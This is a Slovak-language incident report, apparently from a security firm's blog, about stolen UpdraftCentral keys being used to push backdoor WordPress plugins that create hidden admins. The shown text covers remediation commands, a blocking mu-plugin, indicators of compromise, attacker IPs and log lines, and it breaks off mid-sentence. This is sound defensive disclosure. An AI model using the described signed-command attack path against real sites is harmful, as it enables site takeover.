{"id":9625,"date":"2026-10-19T07:44:01","date_gmt":"2026-10-19T05:44:01","guid":{"rendered":"https:\/\/nethemba.com\/updraftcentral-backdoor-rozbor\/"},"modified":"2026-10-19T17:03:20","modified_gmt":"2026-10-19T15:03:20","slug":"updraftcentral-backdoor-rozbor","status":"publish","type":"post","link":"https:\/\/nethemba.com\/sk\/updraftcentral-backdoor-rozbor\/","title":{"rendered":"Kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s k\u013e\u00fa\u010dmi slu\u017eby nahral backdoor na na\u0161e weby"},"content":{"rendered":"<h2 id=\"zhrnutie\">Zhrnutie<\/h2>\n<p><em>Stav k 19. okt\u00f3bru 2026, posledn\u00e1 aktualiz\u00e1cia 19. 10. 2026 (vyjadrenie v\u00fdrobcu). Zoznam zmien je na konci \u010dl\u00e1nku. Text budeme dop\u013a\u0148a\u0165 pod\u013ea \u010fal\u0161ieho v\u00fdvoja.<\/em><\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026:<\/strong> TeamUpdraft <a href=\"https:\/\/teamupdraft.com\/blog\/security-incident-october-2026\/\">potvrdil bezpe\u010dnostn\u00fd incident<\/a>. Cez v\u00edkend 17. a 18. okt\u00f3bra mal \u00fato\u010dn\u00edk neopr\u00e1vnen\u00fd pr\u00edstup na teamupdraft.com a pod\u013ea v\u00fdrobcu pravdepodobne z\u00edskal z\u00e1kazn\u00edcku datab\u00e1zu: men\u00e1, e-maily, faktura\u010dn\u00e9 adresy, hist\u00f3riu objedn\u00e1vok, hashe hesiel, nastavenia dvojfaktorov\u00e9ho overenia a k\u013e\u00fa\u010de spojen\u00ed pre UpdraftCentral (cloud), UpdraftVault a UpdraftClone. K\u013e\u00fa\u010de, ktor\u00fdmi \u00fato\u010dn\u00edk podpisoval pr\u00edkazy, teda unikli priamo od v\u00fdrobcu. V\u00fdrobca odhl\u00e1sil v\u0161etky \u00fa\u010dty, vymenil k\u013e\u00fa\u010de pre UpdraftVault a UpdraftClone a pripravuje n\u00fadzov\u00fa verziu UpdraftPlus, ktor\u00e1 automaticky odpoj\u00ed v\u0161etky spojenia UpdraftCentral vytvoren\u00e9 pred 18. 10. 2026 22:00 BST (23:00 SEL\u010c). Dashboardov UpdraftCentral hos\u0165ovan\u00fdch na vlastnom serveri sa \u00fanik pod\u013ea v\u00fdrobcu net\u00fdka.<\/p>\n<p><strong>Aktualiz\u00e1cia 19. 10. 2026 (ve\u010der):<\/strong> <a href=\"https:\/\/patchstack.com\/articles\/updraftcentral-key-compromise-wordpress-backdoors\/\">Patchstack zverejnil vlastn\u00fa anal\u00fdzu<\/a>, ktor\u00e1 na\u0161e zistenia potvrdzuje a roz\u0161iruje. Videl 99 r\u00f4znych n\u00e1zvov backdoor pluginov nain\u0161talovan\u00fdch od 18. 10. 15:32 do 19. 10. 9:23 a druh\u00fa IP adresu \u00fato\u010dn\u00edka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">2a09:bac5:4e21:2e3c::49b:9<\/code>. Ozvali sa n\u00e1m aj \u010fal\u0161\u00ed postihnut\u00ed spr\u00e1vcovia. Jeden z nich na\u0161iel <strong>druh\u00fd variant backdooru, ktor\u00fd vytv\u00e1ra skryt\u00e9ho administr\u00e1tora<\/strong>. Popisujeme ho ni\u017e\u0161ie a kontroln\u00fd skript sme upravili, aby ho zachytil. Ak ste skript sp\u00fa\u0161\u0165ali sk\u00f4r, spustite ho znova.<\/p>\n<table>\n<tbody>\n<tr class=\"odd\">\n<td><strong>\u010coho sa to t\u00fdka<\/strong><\/td>\n<td>slu\u017eby UpdraftCentral, ktorej klient je s\u00fa\u010das\u0165ou pluginu UpdraftPlus, bezplatn\u00e9ho aj pr\u00e9miov\u00e9ho<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Dotknut\u00e9 verzie<\/strong><\/td>\n<td>v\u0161etky verzie UpdraftPlus pripojen\u00e9 k UpdraftCentral Cloud spojen\u00edm vytvoren\u00fdm pred 18. 10. 2026 23:00 SEL\u010c, vr\u00e1tane najnov\u0161\u00edch 1.26.11 a 2.26.11. Pripojen\u00e9 weby s verziami do 1.26.4 a 2.26.4 vie \u00fato\u010dn\u00edk napadn\u00fa\u0165 aj bez platn\u00fdch k\u013e\u00fa\u010dov (CVE-2026-10795).<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Ko\u013eko webov<\/strong><\/td>\n<td>UpdraftPlus m\u00e1 pod\u013ea wordpress.org viac ako 4 mili\u00f3ny akt\u00edvnych in\u0161tal\u00e1ci\u00ed a v\u00fdrobca ho ozna\u010duje za najpopul\u00e1rnej\u0161\u00ed plugin na pl\u00e1novan\u00e9 z\u00e1lohovanie na svete. Pri j\u00fanovej chybe toho ist\u00e9ho kan\u00e1la v\u00fdrobca odhadol, \u017ee k\u013e\u00fa\u010d UpdraftCentral alebo Migrator m\u00e1 menej ako 10 % pou\u017e\u00edvate\u013eov, teda a\u017e okolo 400 000 webov. Ko\u013eko z nich \u00fato\u010dn\u00edk napadol, nevieme.<\/td>\n<\/tr>\n<tr class=\"even\">\n<td><strong>Oprava<\/strong><\/td>\n<td>v\u00fdrobca pripravuje n\u00fadzov\u00fa verziu UpdraftPlus, ktor\u00e1 automaticky odpoj\u00ed v\u0161etky spojenia UpdraftCentral vytvoren\u00e9 pred 18. 10. 2026 23:00 SEL\u010c. K\u00fdm vyjde, treba k\u013e\u00fa\u010de zmaza\u0165 ru\u010dne.<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td><strong>Do\u010dasn\u00e9 rie\u0161enie<\/strong><\/td>\n<td>zru\u0161i\u0165 spojenie s UpdraftCentral, web skontrolova\u0165 na\u0161\u00edm skriptom, zmeni\u0165 heslo k \u00fa\u010dtu teamupdraft.com a volite\u013ene zablokova\u0165 pr\u00edkazy UpdraftCentral mal\u00fdm mu-pluginom (postup ni\u017e\u0161ie). UpdraftPlus netreba odin\u0161talova\u0165, z\u00e1lohovanie funguje \u010falej.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>V noci na 19. okt\u00f3bra 2026 poslal \u00fato\u010dn\u00edk z IP adresy <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> cez slu\u017ebu UpdraftCentral pr\u00edkaz <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">plugin.upload_plugin<\/code> na tri na\u0161e WordPress weby. UpdraftCentral je slu\u017eba na vzdialen\u00fa spr\u00e1vu webov od TeamUpdraft a jej klient je zabudovan\u00fd v ka\u017edej k\u00f3pii pluginu UpdraftPlus. Na dvoch z na\u0161ich webov pr\u00edkaz pre\u0161iel a WordPress nain\u0161taloval a aktivoval nezn\u00e1my plugin. Na tre\u0165om zlyhal na opr\u00e1vneniach.<\/p>\n<p>Chyba nebola na na\u0161ej strane. V\u0161etky tri weby mali aktu\u00e1lny WordPress 7.1.3 aj UpdraftPlus 2.26.11, opraven\u00fd proti j\u00fanovej zranite\u013enosti CVE-2026-10795. \u00dato\u010dn\u00edk sa do na\u0161ich serverov nenab\u00faral a nevyu\u017eil \u017eiadnu chybu v na\u0161ej konfigur\u00e1cii. Pri\u0161iel kan\u00e1lom vzdialenej spr\u00e1vy UpdraftCentral a pr\u00edkazy podp\u00edsal platn\u00fdmi s\u00fakromn\u00fdmi k\u013e\u00fa\u010dmi dashboardu. Tie generuje a uchov\u00e1va slu\u017eba UpdraftCentral Cloud a na na\u0161ich serveroch nikdy neboli. Kto ich m\u00e1, m\u00f4\u017ee na ka\u017edom pripojenom webe bez vedomia majite\u013ea nain\u0161talova\u0165 a spusti\u0165 \u013eubovo\u013en\u00fd k\u00f3d. Preto to pova\u017eujeme za kritick\u00fd bezpe\u010dnostn\u00fd probl\u00e9m slu\u017eby UpdraftCentral.<\/p>\n<p><strong>Kto je ohrozen\u00fd:<\/strong> ka\u017ed\u00fd web s UpdraftPlus, bezplatn\u00fdm aj pr\u00e9miov\u00fdm, ktor\u00fd je pripojen\u00fd k UpdraftCentral, teda m\u00e1 vytvoren\u00fd k\u013e\u00fa\u010d UpdraftCentral. Klienta UpdraftCentral obsahuje ka\u017ed\u00e1 z viac ako 4 mili\u00f3nov in\u0161tal\u00e1ci\u00ed UpdraftPlus. Weby, ktor\u00e9 k UpdraftCentral pripojen\u00e9 nie s\u00fa, tento \u00fatok neohrozuje, lebo pr\u00edkazy UpdraftCentral bez k\u013e\u00fa\u010da neprij\u00edmaj\u00fa. Na\u0161e weby boli pripojen\u00e9 k UpdraftCentral Cloud, teda k dashboardu, ktor\u00fd prev\u00e1dzkuje TeamUpdraft. Pod\u013ea v\u00fdrobcu sa \u00fanik net\u00fdka dashboardov UpdraftCentral hos\u0165ovan\u00fdch na vlastnom serveri. Unikli v\u0161ak aj k\u013e\u00fa\u010de pre UpdraftVault a UpdraftClone, ktor\u00e9 v\u00fdrobca medzit\u00fdm vymenil.<\/p>\n<p>Nejde o zranite\u013enos\u0165 CVE-2026-10795, o ktorej v j\u00fani p\u00edsal Wordfence: t\u00fa mali na\u0161e weby opraven\u00fa a pokusy o jej zneu\u017eitie na nich zlyh\u00e1vali.<\/p>\n<p>Plugin je backdoor. Na tajn\u00fd odkaz mal vytvori\u0165 \u00fa\u010det so zamaskovan\u00fdmi pr\u00e1vami administr\u00e1tora a \u00fato\u010dn\u00edka do neho rovno prihl\u00e1si\u0165. Autor v\u0161ak v k\u00f3de urobil chybu, tak\u017ee backdoor nikdy nefungoval. Namiesto toho zhodil ka\u017ed\u00fa po\u017eiadavku na web, ktor\u00e1 ne\u0161la z cache, a WordPress n\u00e1m o tom poslal e-mail. V\u010faka tomu sme ho na\u0161li do nieko\u013ek\u00fdch min\u00fat a\u017e hod\u00edn.<\/p>\n<p>TeamUpdraft sme incident nahl\u00e1sili 19. okt\u00f3bra a po\u017eiadali sme ich o vysvetlenie, ako sa k\u013e\u00fa\u010de dostali k \u00fato\u010dn\u00edkovi.<\/p>\n<p><strong>Ak m\u00e1te web pripojen\u00fd k UpdraftCentral, pova\u017eujte ho za potenci\u00e1lne kompromitovan\u00fd, k\u00fdm ho neover\u00edte.<\/strong> Spojenie okam\u017eite zru\u0161te a web skontrolujte pod\u013ea postupu ni\u017e\u0161ie. K 19. okt\u00f3bru 2026 sme o tomto backdoore ani o podobnom \u00fatoku po j\u00fanovej oprave nena\u0161li \u017eiadnu verejn\u00fa zmienku.<\/p>\n<h2 id=\"\u010do-urobi\u0165-hne\u010f\">\u010co urobi\u0165 hne\u010f<\/h2>\n<h3 id=\"zru\u0161te-spojenie-s-updraftcentral\">1. Zru\u0161te spojenie s UpdraftCentral<\/h3>\n<p>V administr\u00e1cii WordPressu otvorte Nastavenia \u2192 UpdraftPlus Backups \u2192 karta \u201eAdvanced Tools\u201c \u2192 \u201eUpdraftCentral\u201c. Kliknite na \u201eManage existing keys (N)\u2026\u201c a pri ka\u017edom k\u013e\u00fa\u010di na \u201eDelete\u2026\u201c. Ak tam \u017eiadny k\u013e\u00fa\u010d nie je, web pripojen\u00fd nie je.<\/p>\n<p>S pr\u00edstupom na pr\u00edkazov\u00fd riadok to ist\u00e9 urob\u00ed tento pr\u00edkaz v kore\u0148ovom prie\u010dinku WordPressu:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp option delete updraft_central_localkeys<\/code><\/pre>\n<p>Potom web odstr\u00e1\u0148te aj v dashboarde UpdraftCentral (teamupdraft.com \u2192 My account \u2192 UpdraftCentral \u2192 \u2022\u2022\u2022 pri webe \u2192 Remove site). Samotn\u00e9 odstr\u00e1nenie z dashboardu nesta\u010d\u00ed. \u00dato\u010dn\u00edk m\u00e1 s\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu, tak\u017ee rozhoduje zmazanie k\u013e\u00fa\u010da na webe.<\/p>\n<p>V\u00fdrobca uv\u00e1dza, \u017ee po zmazan\u00ed k\u013e\u00fa\u010da, kontrole webu a zmene hesiel administr\u00e1torov m\u00f4\u017eete web znova pripoji\u0165. Predt\u00fdm si zme\u0148te heslo k \u00fa\u010dtu teamupdraft.com (adresu zadajte do prehliada\u010da ru\u010dne, nie cez odkaz z e-mailu), rovnak\u00e9 heslo zme\u0148te v\u0161ade, kde ste ho pou\u017eili, a znova nastavte dvojfaktorov\u00e9 overenie. Ak m\u00e1te nasaden\u00fd n\u00e1\u0161 blokovac\u00ed mu-plugin, pred nov\u00fdm pripojen\u00edm ho odstr\u00e1\u0148te. Kto pou\u017e\u00edva UpdraftVault, mus\u00ed web k nemu znova pripoji\u0165 s nov\u00fdmi \u00fadajmi.<\/p>\n<h3 id=\"overte-\u010di-na-webe-nie-je-backdoor\">2. Overte, \u010di na webe nie je backdoor<\/h3>\n<p>Bez pr\u00edkazov\u00e9ho riadka:<\/p>\n<ul>\n<li>Na tej istej obrazovke UpdraftCentral kliknite na \u201eView recent UpdraftCentral log events\u2026\u201c. H\u013eadajte riadky \u201eCommand received: plugin.upload_plugin\u201c a \u201eprobe.central.updraftplus.com\u201c.<\/li>\n<li>V zozname pluginov h\u013eadajte plugin s popisom \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a s n\u00e1zvom z dvoch slov a troch znakov, napr\u00edklad \u201eLoad Stack 35C\u201c.<\/li>\n<li>Plugin s popisom \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c je druh\u00fd variant. Jeho \u00fa\u010det sa v zozname pou\u017e\u00edvate\u013eov nezobraz\u00ed, preto web skontrolujte aj skriptom.<\/li>\n<li>V zozname pou\u017e\u00edvate\u013eov h\u013eadajte \u00fa\u010det s menom \u201eSite Tools\u201c alebo s e-mailom na <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">@example.org<\/code>.<\/li>\n<\/ul>\n<p>Ak backdoor na webe je, administr\u00e1cia nemus\u00ed fungova\u0165, lebo plugin zhadzuje ka\u017ed\u00fa po\u017eiadavku. Vtedy pou\u017eite pr\u00edkazov\u00fd riadok.<\/p>\n<p>S pr\u00edkazov\u00fdm riadkom ulo\u017ete n\u00e1\u0161 kontroln\u00fd skript z konca \u010dl\u00e1nku ako <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">check-updraftcentral.php<\/code> do kore\u0148ov\u00e9ho prie\u010dinka WordPressu a spustite:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">wp eval-file check-updraftcentral.php --skip-plugins --skip-themes<\/code><\/pre>\n<p>Skript ni\u010d nemen\u00ed, iba \u010d\u00edta. Prep\u00edna\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">--skip-plugins<\/code> je d\u00f4le\u017eit\u00fd, lebo nain\u0161talovan\u00fd backdoor inak zhod\u00ed aj WP-CLI. Riadky <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code> znamenaj\u00fa stopy \u00fatoku, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[WARN]<\/code> vec na kontrolu a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code> \u010dist\u00fd v\u00fdsledok. Z\u00e1znam o prijatom pr\u00edkaze e\u0161te neznamen\u00e1, \u017ee sa plugin nain\u0161taloval (na jednom z na\u0161ich webov nepre\u0161iel), preto skript kontroluje aj s\u00fabory, vo\u013eby v datab\u00e1ze a \u00fa\u010dty. Ak n\u00e1jde \u010doko\u013evek s <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[ALERT]<\/code>, pokra\u010dujte \u010das\u0165ou \u201e\u010co robi\u0165, ak ho n\u00e1jdete\u201c.<\/p>\n<p>UpdraftPlus si v logu UpdraftCentral pam\u00e4t\u00e1 iba posledn\u00fdch 50 udalost\u00ed. Na webe, kam \u010dasto chodia skenery, m\u00f4\u017ee z\u00e1znam o \u00fatoku z logu vypadn\u00fa\u0165 a skript potom pri logu hl\u00e1si <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">[OK]<\/code>. Ak m\u00e1te pr\u00edstup k logom webov\u00e9ho servera, preh\u013eadajte aj ich (cestu upravte pod\u013ea servera, pri nginx napr\u00edklad <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">\/var\/log\/nginx\/<\/code>):<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">grep &#39;class-udrpc.php&quot;&#39; \/var\/log\/apache2\/*access*<\/code><\/pre>\n<p>Pr\u00edkaz n\u00e1jde po\u017eiadavky UpdraftCentral bez verzie kni\u017enice v hlavi\u010dke User-Agent, ak\u00e9 posielal \u00fato\u010dn\u00edk. Skuto\u010dn\u00fd dashboard posiela <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php\/2.0; https:\/\/teamupdraft.com<\/code>, tak\u017ee ho pr\u00edkaz nezachyt\u00ed.<\/p>\n<h3 id=\"volite\u013ene-zablokujte-pr\u00edkazy-updraftcentral-\u00faplne\">3. Volite\u013ene: zablokujte pr\u00edkazy UpdraftCentral \u00faplne<\/h3>\n<p>Ak chcete ma\u0165 istotu, \u017ee web nevykon\u00e1 \u017eiadny pr\u00edkaz UpdraftCentral ani vtedy, keby na \u0148om ostal k\u013e\u00fa\u010d, ulo\u017ete do prie\u010dinka <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/mu-plugins\/<\/code> s\u00fabor <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">block-updraftcentral.php<\/code> s t\u00fdmto obsahom:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">&lt;?php\n\/\/ Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.\nif ( isset( $_POST[&#39;udrpc_message&#39;] ) ) {\n    http_response_code( 403 );\n    exit;\n}<\/code><\/pre>\n<p>S\u00fabory v <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">mu-plugins<\/code> WordPress na\u010d\u00edta pred be\u017en\u00fdmi pluginmi, tak\u017ee po\u017eiadavka sa zastav\u00ed sk\u00f4r, ne\u017e ju UpdraftPlus spracuje. Blokuje aj migr\u00e1ciu webov cez UpdraftPlus Migrator, ktor\u00e1 pou\u017e\u00edva ten ist\u00fd kan\u00e1l. Ke\u010f v\u00fdrobca probl\u00e9m vysvetl\u00ed a vyrie\u0161i, s\u00fabor zma\u017ete.<\/p>\n<h2 id=\"ako-sme-na-to-pri\u0161li\">Ako sme na to pri\u0161li<\/h2>\n<p>O 5:38 n\u00e1m pri\u0161iel automatick\u00fd e-mail WordPressu: \u201eWordPress caught an error with one of your plugins, Load Stack 35C.\u201c Plugin s tak\u00fdm n\u00e1zvom sme nikdy nein\u0161talovali. Chybov\u00e1 spr\u00e1va znela <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Uncaught Error: Undefined constant LoadStack35c::FIELD<\/code> a n\u00e1\u0161 web od 4:14 vracal na ka\u017ed\u00fa po\u017eiadavku chybu 500.<\/p>\n<p>Prie\u010dinok <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/plugins\/load-stack-35c\/<\/code> mal v\u0161etky s\u00fabory s rovnak\u00fdm \u010dasom z\u00e1pisu, 4:14:30. O sekundu nesk\u00f4r sa zmenil prie\u010dinok <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp-content\/upgrade\/<\/code>, ktor\u00fd WordPress pou\u017e\u00edva pri rozba\u013eovan\u00ed in\u0161talovan\u00fdch pluginov. Plugin teda pri\u0161iel cez \u0161tandardn\u00fd in\u0161tal\u00e1tor WordPressu, nie cez nahratie s\u00faboru na disk. V access logu presne v tej sekunde stoj\u00ed jedin\u00e1 po\u017eiadavka:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">43.250.53.42 - - [19\/Oct\/2026:04:14:30 +0200] &quot;POST \/ HTTP\/1.1&quot; 200 8454 &quot;-&quot; &quot;WordPress\/6.4; class-udrpc.php&quot;<\/code><\/pre>\n<p><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">class-udrpc.php<\/code> je kni\u017enica, cez ktor\u00fa UpdraftPlus prij\u00edma pr\u00edkazy z UpdraftCentral. Jej vlastn\u00fd log (vo\u013eba <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">updraftcentral_client_log<\/code> v datab\u00e1ze) to potvrdil: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Command received: plugin.upload_plugin<\/code>.<\/p>\n<h2 id=\"\u010dasov\u00e1-os\">\u010casov\u00e1 os<\/h2>\n<p>Weby ozna\u010dujeme A, B a C. V\u0161etky \u010dasy s\u00fa v SEL\u010c. V\u0161etky po\u017eiadavky pri\u0161li z <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">43.250.53.42<\/code> (poskytovate\u013e RedSwitches) s hlavi\u010dkou User-Agent <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>.<\/p>\n<table>\n<thead>\n<tr class=\"header\">\n<th>Web<\/th>\n<th>Sonda<\/th>\n<th>In\u0161tal\u00e1cia pluginu<\/th>\n<th>V\u00fdsledok<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Web C<\/td>\n<td>19. 10. 0:41:32<\/td>\n<td>6:05:31<\/td>\n<td>zlyhala, k\u013e\u00fa\u010d patril pou\u017e\u00edvate\u013eovi bez pr\u00e1va in\u0161talova\u0165 pluginy<\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Web A<\/td>\n<td>2:14:05<\/td>\n<td>4:14:30<\/td>\n<td>backdoor \u201eLoad Stack 35C\u201c akt\u00edvny, web nedostupn\u00fd do 6:13<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Web B<\/td>\n<td>2:39:44<\/td>\n<td>6:53:49<\/td>\n<td>backdoor \u201eText Gantry Eb0\u201c akt\u00edvny, odstr\u00e1nen\u00fd o 6:56<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Sonda je spr\u00e1va adresovan\u00e1 neexistuj\u00facemu k\u013e\u00fa\u010du <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">probe.central.updraftplus.com<\/code>. Web na \u0148u odpovie, \u017ee spr\u00e1ve nerozumie, a t\u00fdm prezrad\u00ed, \u017ee prij\u00edma pr\u00edkazy UpdraftCentral. Nasleduj\u00faci pr\u00edkaz u\u017e \u00fato\u010dn\u00edk poslal na skuto\u010dn\u00fd k\u013e\u00fa\u010d <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">0.central.updraftplus.com<\/code>. Na v\u0161etk\u00fdch troch weboch prebehol \u00fatok rovnako, od toho ist\u00e9ho \u00fato\u010dn\u00edka, s odstupom nieko\u013ek\u00fdch hod\u00edn.<\/p>\n<h2 id=\"ako-\u00fatok-prebehol\">Ako \u00fatok prebehol<\/h2>\n<p>Pri pripojen\u00ed webu k UpdraftCentral si web vygeneruje p\u00e1r k\u013e\u00fa\u010dov RSA a verejn\u00fd k\u013e\u00fa\u010d po\u0161le slu\u017ebe UpdraftCentral Cloud. Slu\u017eba m\u00e1 vlastn\u00fd p\u00e1r k\u013e\u00fa\u010dov a webu po\u0161le iba svoj verejn\u00fd k\u013e\u00fa\u010d. S\u00fakromn\u00fd k\u013e\u00fa\u010d dashboardu ost\u00e1va u slu\u017eby. Ka\u017ed\u00fd pr\u00edkaz mus\u00ed by\u0165 za\u0161ifrovan\u00fd pre k\u013e\u00fa\u010d webu a podp\u00edsan\u00fd s\u00fakromn\u00fdm k\u013e\u00fa\u010dom dashboardu. Web ho potom vykon\u00e1 s pr\u00e1vami pou\u017e\u00edvate\u013ea, ktor\u00fd k\u013e\u00fa\u010d vo WordPresse vytvoril.<\/p>\n<p>Pr\u00edkaz <code 